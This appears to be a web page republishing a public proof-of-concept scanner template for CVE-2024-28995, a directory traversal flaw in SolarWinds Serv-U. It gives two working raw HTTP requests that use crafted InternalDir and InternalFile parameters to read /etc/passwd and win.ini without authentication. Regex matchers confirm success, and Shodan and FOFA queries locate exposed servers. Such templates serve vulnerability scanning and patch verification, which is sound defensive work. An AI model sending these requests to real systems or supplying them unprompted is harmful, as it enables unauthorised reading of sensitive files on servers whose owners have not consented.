CVE-2024-28995: SolarWinds Serv-U - Directory Traversal

2025-08-01 SolarWinds Serv-U PoC Public

Description

SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.

PoC

id: CVE-2024-28995

info:
  name: SolarWinds Serv-U - Directory Traversal
  author: DhiyaneshDK
  severity: high
  description: |
    SolarWinds Serv-U was susceptible to a directory transversal vulnerability that would allow access to read sensitive files on the host machine.
  impact: |
    Attackers can traverse directories and access sensitive files outside the intended directory structure.
  remediation: |
    Update SolarWinds Serv-U to a version that patches the directory traversal vulnerability.
  reference:
    - https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28995
    - https://x.com/stephenfewer/status/1801191416741130575
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-28995
    cwe-id: CWE-22
    epss-score: 0.99614
    epss-percentile: 0.99948
    cpe: cpe:2.3:a:solarwinds:serv-u:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: solarwinds
    product: serv-u
    shodan-query: html:"Serv-U"
    fofa-query: server="Serv-U"
  tags: cve,cve2024,lfi,solarwinds,serv-u,kev,vkev,vuln

http:
  - raw:
      - |
        GET /?InternalDir=/../../../../windows&InternalFile=win.ini HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?InternalDir=\..\..\..\..\etc&InternalFile=passwd HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: dsl
        dsl:
          - 'contains(header, "Serv-U")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220188f26dbc57d10196ef40352f9f487084e1164bf1fd0bcfd33d75c1324a500b6022046d6f18072472a7c1a3a5cd23df202b6e5730f72bed2f96015fa56199aea13f1:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities